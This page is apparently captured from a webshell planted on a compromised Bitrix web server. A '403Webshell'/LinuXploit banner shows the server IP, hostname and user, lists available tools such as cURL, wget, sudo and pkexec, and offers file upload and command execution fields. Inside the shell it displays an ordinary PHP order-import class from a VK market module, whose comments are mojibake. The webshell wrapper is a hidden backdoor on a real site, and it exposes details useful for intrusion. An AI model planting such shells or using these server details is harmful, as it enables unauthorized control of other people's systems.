403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/vkapi.market/lib/sale/order/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/vkapi.market/lib/sale/order/import.php
<?php

namespace VKapi\Market\Sale\Order;

use Bitrix\Main\Localization\Loc;
use VKapi\Market\Connect;
use VKapi\Market\Manager;
use VKapi\Market\Exception\BaseException;
\Bitrix\Main\Localization\Loc::loadMessages(__FILE__);
/**
 * ����� �� ������������� �������
 */
class Import
{
    public function __construct()
    {
    }
    /**
     * ������ ����� �� Manager
     */
    public function manager()
    {
        return \VKapi\Market\Manager::getInstance();
    }
    /**
     * ������ ����� �� Manager
     */
    public function sync()
    {
        if (!isset($this->oSync)) {
            $this->oSync = new \VKapi\Market\Sale\Order\Sync();
        }
        return $this->oSync;
    }
    /**
     * ������ ��������
     */
    public function getMessage($name, $arReplace = null)
    {
        return $this->manager()->getMessage('LIB.SALE.ORDER.IMPORT.' . $name, $arReplace);
    }
    /**
     * ������ HTML ������ ������� �������
     * @throws \Bitrix\Main\ArgumentException
     */
    public function showImportByHand()
    {
        \CUtil::InitJSCore('jquery');
        $rand = \Bitrix\Main\Security\Random::getString(10);
        $container = 'vkapi-market-order-import--' . $rand;
        // �������� ����
        echo '<div class="vkapi-market-order-import" id="' . $container . '"></div>';
        // ��������� �����
        $arData = ['items' => $this->getSyncSettingsListForJs()];
        // �������� js
        ?>
        <script type="text/javascript" class="vkapi-market-data">
            (function () {
                window.VKapiMarketOrderImportParams = <?php 
        echo \Bitrix\Main\Web\Json::encode($arData);
        ?>;
                window.VKapiMarketOrderImportJs = window.VKapiMarketOrderImportJs || {};
                window.VKapiMarketOrderImportJs['<?php 
        echo $container;
        ?>'] = new VKapiMarketOrderImport('<?php 
        echo $container;
        ?>', window.VKapiMarketOrderImportParams);
            })();
        </script>
        <?php 
    }
    /**
     * ������ ������ �������� ����������� ������� [[id:int, name:string, groupId:int], ...]
     * @return array
     * @throws \Bitrix\Main\ArgumentException
     * @throws \Bitrix\Main\ObjectPropertyException
     * @throws \Bitrix\Main\SystemException
     */
    public function getSyncSettingsListForJs()
    {
        $arReturn = [];
        $dbr = $this->sync()->table()->getList(['order' => ['ID' => 'ASC'], 'filter' => ['ACTIVE' => true]]);
        while ($ar = $dbr->fetch()) {
            $arReturn[] = ['id' => (int) $ar['ID'], 'name' => sprintf('[%s] %s (%s)', $ar['ID'], $ar['GROUP_NAME'], $ar['GROUP_ID']), 'groupId' => (int) $ar['GROUP_ID']];
        }
        return $arReturn;
    }
    /**
     * ������ ����� �� ������� �� ��� ���������� ��������� �����������
     * @return \VKapi\Market\Sale\Order\Import\Item
     */
    public function item($syncId)
    {
        $syncId = intval($syncId);
        if (!isset($this->arItems[$syncId])) {
            $this->arItems[$syncId] = new \VKapi\Market\Sale\Order\Import\Item($syncId);
        }
        return $this->arItems[$syncId];
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit